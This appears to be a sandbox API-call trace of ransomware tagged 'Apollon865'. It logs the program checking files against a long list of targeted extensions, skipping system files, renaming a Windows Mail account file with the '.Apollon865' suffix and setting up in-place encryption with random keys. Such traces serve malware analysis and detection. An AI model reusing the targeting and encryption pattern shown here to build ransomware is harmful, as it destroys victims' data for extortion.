	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mas") returned 1
	[0054.811] lstrlenW (lpString="mav") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mav") returned 1
	[0054.811] lstrlenW (lpString="maw") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="maw") returned 1
	[0054.811] lstrlenW (lpString="mdbhtml") returned 7
	[0054.811] lstrcmpiW (lpString1="account", lpString2="mdbhtml") returned -1
	[0054.811] lstrlenW (lpString="mdn") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mdn") returned 1
	[0054.811] lstrlenW (lpString="mdt") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mdt") returned 1
	[0054.811] lstrlenW (lpString="mfd") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mfd") returned 1
	[0054.811] lstrlenW (lpString="mpd") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mpd") returned 1
	[0054.811] lstrlenW (lpString="mrg") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mrg") returned 1
	[0054.811] lstrlenW (lpString="mud") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mud") returned 1
	[0054.811] lstrlenW (lpString="mwb") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="mwb") returned 1
	[0054.811] lstrlenW (lpString="myd") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="myd") returned 1
	[0054.811] lstrlenW (lpString="ndf") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="ndf") returned 1
	[0054.811] lstrlenW (lpString="nnt") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="nnt") returned 1
	[0054.811] lstrlenW (lpString="nrmlib") returned 6
	[0054.811] lstrcmpiW (lpString1="ccount", lpString2="nrmlib") returned -1
	[0054.811] lstrlenW (lpString="ns2") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="ns2") returned 1
	[0054.811] lstrlenW (lpString="ns3") returned 3
	[0054.811] lstrcmpiW (lpString1="unt", lpString2="ns3") returned 1
	[0054.811] lstrlenW (lpString="ns4") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="ns4") returned 1
	[0054.812] lstrlenW (lpString="nsf") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="nsf") returned 1
	[0054.812] lstrlenW (lpString="nv") returned 2
	[0054.812] lstrcmpiW (lpString1="nt", lpString2="nv") returned -1
	[0054.812] lstrlenW (lpString="nv2") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="nv2") returned 1
	[0054.812] lstrlenW (lpString="nwdb") returned 4
	[0054.812] lstrcmpiW (lpString1="ount", lpString2="nwdb") returned 1
	[0054.812] lstrlenW (lpString="nyf") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="nyf") returned 1
	[0054.812] lstrlenW (lpString="odb") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0054.812] lstrlenW (lpString="odb") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0054.812] lstrlenW (lpString="oqy") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="oqy") returned 1
	[0054.812] lstrlenW (lpString="ora") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="ora") returned 1
	[0054.812] lstrlenW (lpString="orx") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="orx") returned 1
	[0054.812] lstrlenW (lpString="owc") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="owc") returned 1
	[0054.812] lstrlenW (lpString="p96") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="p96") returned 1
	[0054.812] lstrlenW (lpString="p97") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="p97") returned 1
	[0054.812] lstrlenW (lpString="pan") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="pan") returned 1
	[0054.812] lstrlenW (lpString="pdb") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="pdb") returned 1
	[0054.812] lstrlenW (lpString="pdm") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="pdm") returned 1
	[0054.812] lstrlenW (lpString="pnz") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="pnz") returned 1
	[0054.812] lstrlenW (lpString="qry") returned 3
	[0054.812] lstrcmpiW (lpString1="unt", lpString2="qry") returned 1
	[0054.812] lstrlenW (lpString="qvd") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="qvd") returned 1
	[0054.813] lstrlenW (lpString="rbf") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="rbf") returned 1
	[0054.813] lstrlenW (lpString="rctd") returned 4
	[0054.813] lstrcmpiW (lpString1="ount", lpString2="rctd") returned -1
	[0054.813] lstrlenW (lpString="rod") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="rod") returned 1
	[0054.813] lstrlenW (lpString="rodx") returned 4
	[0054.813] lstrcmpiW (lpString1="ount", lpString2="rodx") returned -1
	[0054.813] lstrlenW (lpString="rpd") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="rpd") returned 1
	[0054.813] lstrlenW (lpString="rsd") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="rsd") returned 1
	[0054.813] lstrlenW (lpString="sas7bdat") returned 8
	[0054.813] lstrcmpiW (lpString1="eaccount", lpString2="sas7bdat") returned -1
	[0054.813] lstrlenW (lpString="sbf") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="sbf") returned 1
	[0054.813] lstrlenW (lpString="scx") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="scx") returned 1
	[0054.813] lstrlenW (lpString="sdb") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="sdb") returned 1
	[0054.813] lstrlenW (lpString="sdc") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="sdc") returned 1
	[0054.813] lstrlenW (lpString="sdf") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="sdf") returned 1
	[0054.813] lstrlenW (lpString="sis") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="sis") returned 1
	[0054.813] lstrlenW (lpString="spq") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="spq") returned 1
	[0054.813] lstrlenW (lpString="te") returned 2
	[0054.813] lstrcmpiW (lpString1="nt", lpString2="te") returned -1
	[0054.813] lstrlenW (lpString="teacher") returned 7
	[0054.813] lstrcmpiW (lpString1="account", lpString2="teacher") returned -1
	[0054.813] lstrlenW (lpString="tmd") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="tmd") returned 1
	[0054.813] lstrlenW (lpString="tps") returned 3
	[0054.813] lstrcmpiW (lpString1="unt", lpString2="tps") returned 1
	[0054.814] lstrlenW (lpString="trc") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0054.814] lstrlenW (lpString="trc") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0054.814] lstrlenW (lpString="trm") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="trm") returned 1
	[0054.814] lstrlenW (lpString="udb") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="udb") returned 1
	[0054.814] lstrlenW (lpString="udl") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="udl") returned 1
	[0054.814] lstrlenW (lpString="usr") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="usr") returned -1
	[0054.814] lstrlenW (lpString="v12") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="v12") returned -1
	[0054.814] lstrlenW (lpString="vis") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="vis") returned -1
	[0054.814] lstrlenW (lpString="vpd") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="vpd") returned -1
	[0054.814] lstrlenW (lpString="vvv") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="vvv") returned -1
	[0054.814] lstrlenW (lpString="wdb") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="wdb") returned -1
	[0054.814] lstrlenW (lpString="wmdb") returned 4
	[0054.814] lstrcmpiW (lpString1="ount", lpString2="wmdb") returned -1
	[0054.814] lstrlenW (lpString="wrk") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="wrk") returned -1
	[0054.814] lstrlenW (lpString="xdb") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="xdb") returned -1
	[0054.814] lstrlenW (lpString="xld") returned 3
	[0054.814] lstrcmpiW (lpString1="unt", lpString2="xld") returned -1
	[0054.814] lstrlenW (lpString="xmlff") returned 5
	[0054.814] lstrcmpiW (lpString1="count", lpString2="xmlff") returned -1
	[0054.814] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.Apollon865") returned 120
	[0054.814] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.apollon865"), dwFlags=0x1) returned 1
	[0054.815] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.815] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1736) returned 1
	[0054.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.816] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0054.816] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.816] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.816] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d0, lpName=0x0) returned 0x118
	[0054.818] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d0) returned 0x100000
	[0054.820] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0054.820] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.820] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.821] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.821] CloseHandle (hObject=0x118) returned 1
	[0054.821] CloseHandle (hObject=0x150) returned 1
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.821] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e947370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0054.821] lstrcmpiW (lpString1="Backup", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.821] lstrcmpiW (lpString1="Backup", lpString2="Apollon865.txt.exe") returned 1
	[0054.821] lstrcmpiW (lpString1="Backup", lpString2=".") returned 1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="..") returned 1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="windows") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="bootmgr") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="temp") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="pagefile.sys") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="boot") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="ids.txt") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="ntuser.dat") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="perflogs") returned -1
	[0054.822] lstrcmpiW (lpString1="Backup", lpString2="MSBuild") returned -1
	[0054.822] lstrlenW (lpString="Backup") returned 6
	[0054.822] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 109
	[0054.822] lstrcpyW (in: lpString1=0x119e674, lpString2="Backup" | out: lpString1="Backup") returned="Backup"
	[0054.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0054.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0054.822] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b10 | out: ListHead=0x5b75f0, ListEntry=0x5b7b10) returned 0x59fcb0
	[0054.822] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="Apollon865.txt.exe") returned 1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2=".") returned 1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="..") returned 1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="windows") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="bootmgr") returned 1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="temp") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="pagefile.sys") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="boot") returned 1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="ids.txt") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="ntuser.dat") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="perflogs") returned -1
	[0054.822] lstrcmpiW (lpString1="edb.chk", lpString2="MSBuild") returned -1
	[0054.822] lstrlenW (lpString="edb.chk") returned 7
	[0054.822] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 60
	[0054.822] lstrcpyW (in: lpString1=0x119e674, lpString2="edb.chk" | out: lpString1="edb.chk") returned="edb.chk"
	[0054.822] lstrlenW (lpString="edb.chk") returned 7
	[0054.822] lstrlenW (lpString="Apollon865") returned 10
	[0054.823] lstrlenW (lpString=".dll") returned 4
	[0054.823] lstrcmpiW (lpString1="edb.chk", lpString2=".dll") returned 1
	[0054.823] lstrlenW (lpString=".lnk") returned 4
	[0054.823] lstrcmpiW (lpString1="edb.chk", lpString2=".lnk") returned 1
	[0054.823] lstrlenW (lpString=".ini") returned 4
	[0054.823] lstrcmpiW (lpString1="edb.chk", lpString2=".ini") returned 1
	[0054.823] lstrlenW (lpString=".sys") returned 4
	[0054.823] lstrcmpiW (lpString1="edb.chk", lpString2=".sys") returned 1
	[0054.823] lstrlenW (lpString="edb.chk") returned 7
	[0054.823] lstrlenW (lpString="bak") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="bak") returned 1
	[0054.823] lstrlenW (lpString="ba_") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="ba_") returned 1
	[0054.823] lstrlenW (lpString="dbb") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="dbb") returned -1
	[0054.823] lstrlenW (lpString="vmdk") returned 4
	[0054.823] lstrcmpiW (lpString1=".chk", lpString2="vmdk") returned -1
	[0054.823] lstrlenW (lpString="rar") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="rar") returned -1
	[0054.823] lstrlenW (lpString="zip") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="zip") returned -1
	[0054.823] lstrlenW (lpString="tgz") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="tgz") returned -1
	[0054.823] lstrlenW (lpString="vbox") returned 4
	[0054.823] lstrcmpiW (lpString1=".chk", lpString2="vbox") returned -1
	[0054.823] lstrlenW (lpString="vdi") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="vdi") returned -1
	[0054.823] lstrlenW (lpString="vhd") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="vhd") returned -1
	[0054.823] lstrlenW (lpString="vhdx") returned 4
	[0054.823] lstrcmpiW (lpString1=".chk", lpString2="vhdx") returned -1
	[0054.823] lstrlenW (lpString="avhd") returned 4
	[0054.823] lstrcmpiW (lpString1=".chk", lpString2="avhd") returned -1
	[0054.823] lstrlenW (lpString="db") returned 2
	[0054.823] lstrcmpiW (lpString1="hk", lpString2="db") returned 1
	[0054.823] lstrlenW (lpString="db2") returned 3
	[0054.823] lstrcmpiW (lpString1="chk", lpString2="db2") returned -1
	[0054.823] lstrlenW (lpString="db3") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="db3") returned -1
	[0054.824] lstrlenW (lpString="dbf") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="dbf") returned -1
	[0054.824] lstrlenW (lpString="mdf") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="mdf") returned -1
	[0054.824] lstrlenW (lpString="mdb") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="mdb") returned -1
	[0054.824] lstrlenW (lpString="sql") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="sql") returned -1
	[0054.824] lstrlenW (lpString="sqlite") returned 6
	[0054.824] lstrcmpiW (lpString1="db.chk", lpString2="sqlite") returned -1
	[0054.824] lstrlenW (lpString="sqlite3") returned 7
	[0054.824] lstrlenW (lpString="sqlitedb") returned 8
	[0054.824] lstrlenW (lpString="xml") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="xml") returned -1
	[0054.824] lstrlenW (lpString="$er") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="$er") returned 1
	[0054.824] lstrlenW (lpString="4dd") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="4dd") returned 1
	[0054.824] lstrlenW (lpString="4dl") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="4dl") returned 1
	[0054.824] lstrlenW (lpString="^^^") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="^^^") returned 1
	[0054.824] lstrlenW (lpString="abs") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="abs") returned 1
	[0054.824] lstrlenW (lpString="abx") returned 3
	[0054.824] lstrcmpiW (lpString1="chk", lpString2="abx") returned 1
	[0054.824] lstrlenW (lpString="accdb") returned 5
	[0054.824] lstrcmpiW (lpString1="b.chk", lpString2="accdb") returned 1
	[0054.824] lstrlenW (lpString="accdc") returned 5
	[0054.824] lstrcmpiW (lpString1="b.chk", lpString2="accdc") returned 1
	[0054.824] lstrlenW (lpString="accde") returned 5
	[0054.824] lstrcmpiW (lpString1="b.chk", lpString2="accde") returned 1
	[0054.824] lstrlenW (lpString="accdr") returned 5
	[0054.824] lstrcmpiW (lpString1="b.chk", lpString2="accdr") returned 1
	[0054.824] lstrlenW (lpString="accdt") returned 5
	[0054.824] lstrcmpiW (lpString1="b.chk", lpString2="accdt") returned 1
	[0054.824] lstrlenW (lpString="accdw") returned 5
	[0054.825] lstrcmpiW (lpString1="b.chk", lpString2="accdw") returned 1
	[0054.825] lstrlenW (lpString="accft") returned 5
	[0054.825] lstrcmpiW (lpString1="b.chk", lpString2="accft") returned 1
	[0054.825] lstrlenW (lpString="adb") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1
	[0054.825] lstrlenW (lpString="adb") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1
	[0054.825] lstrlenW (lpString="ade") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="ade") returned 1
	[0054.825] lstrlenW (lpString="adf") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="adf") returned 1
	[0054.825] lstrlenW (lpString="adn") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="adn") returned 1
	[0054.825] lstrlenW (lpString="adp") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="adp") returned 1
	[0054.825] lstrlenW (lpString="alf") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="alf") returned 1
	[0054.825] lstrlenW (lpString="ask") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="ask") returned 1
	[0054.825] lstrlenW (lpString="btr") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="btr") returned 1
	[0054.825] lstrlenW (lpString="cat") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="cat") returned 1
	[0054.825] lstrlenW (lpString="cdb") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="cdb") returned 1
	[0054.825] lstrlenW (lpString="ckp") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="ckp") returned -1
	[0054.825] lstrlenW (lpString="cma") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="cma") returned -1
	[0054.825] lstrlenW (lpString="cpd") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="cpd") returned -1
	[0054.825] lstrlenW (lpString="dacpac") returned 6
	[0054.825] lstrcmpiW (lpString1="db.chk", lpString2="dacpac") returned 1
	[0054.825] lstrlenW (lpString="dad") returned 3
	[0054.825] lstrcmpiW (lpString1="chk", lpString2="dad") returned -1
	[0054.825] lstrlenW (lpString="dadiagrams") returned 10
	[0054.826] lstrlenW (lpString="daschema") returned 8
	[0054.826] lstrlenW (lpString="db-journal") returned 10
	[0054.826] lstrlenW (lpString="db-shm") returned 6
	[0054.826] lstrcmpiW (lpString1="db.chk", lpString2="db-shm") returned -1
	[0054.826] lstrlenW (lpString="db-wal") returned 6
	[0054.826] lstrcmpiW (lpString1="db.chk", lpString2="db-wal") returned -1
	[0054.826] lstrlenW (lpString="dbc") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dbc") returned -1
	[0054.826] lstrlenW (lpString="dbs") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dbs") returned -1
	[0054.826] lstrlenW (lpString="dbt") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dbt") returned -1
	[0054.826] lstrlenW (lpString="dbv") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dbv") returned -1
	[0054.826] lstrlenW (lpString="dbx") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dbx") returned -1
	[0054.826] lstrlenW (lpString="dcb") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dcb") returned -1
	[0054.826] lstrlenW (lpString="dct") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dct") returned -1
	[0054.826] lstrlenW (lpString="dcx") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dcx") returned -1
	[0054.826] lstrlenW (lpString="ddl") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="ddl") returned -1
	[0054.826] lstrlenW (lpString="dlis") returned 4
	[0054.826] lstrcmpiW (lpString1=".chk", lpString2="dlis") returned -1
	[0054.826] lstrlenW (lpString="dp1") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dp1") returned -1
	[0054.826] lstrlenW (lpString="dqy") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dqy") returned -1
	[0054.826] lstrlenW (lpString="dsk") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dsk") returned -1
	[0054.826] lstrlenW (lpString="dsn") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dsn") returned -1
	[0054.826] lstrlenW (lpString="dtsx") returned 4
	[0054.826] lstrcmpiW (lpString1=".chk", lpString2="dtsx") returned -1
	[0054.826] lstrlenW (lpString="dxl") returned 3
	[0054.826] lstrcmpiW (lpString1="chk", lpString2="dxl") returned -1
	[0054.827] lstrlenW (lpString="eco") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="eco") returned -1
	[0054.827] lstrlenW (lpString="ecx") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="ecx") returned -1
	[0054.827] lstrlenW (lpString="edb") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="edb") returned -1
	[0054.827] lstrlenW (lpString="epim") returned 4
	[0054.827] lstrcmpiW (lpString1=".chk", lpString2="epim") returned -1
	[0054.827] lstrlenW (lpString="fcd") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fcd") returned -1
	[0054.827] lstrlenW (lpString="fdb") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fdb") returned -1
	[0054.827] lstrlenW (lpString="fic") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fic") returned -1
	[0054.827] lstrlenW (lpString="flexolibrary") returned 12
	[0054.827] lstrlenW (lpString="fm5") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fm5") returned -1
	[0054.827] lstrlenW (lpString="fmp") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fmp") returned -1
	[0054.827] lstrlenW (lpString="fmp12") returned 5
	[0054.827] lstrcmpiW (lpString1="b.chk", lpString2="fmp12") returned -1
	[0054.827] lstrlenW (lpString="fmpsl") returned 5
	[0054.827] lstrcmpiW (lpString1="b.chk", lpString2="fmpsl") returned -1
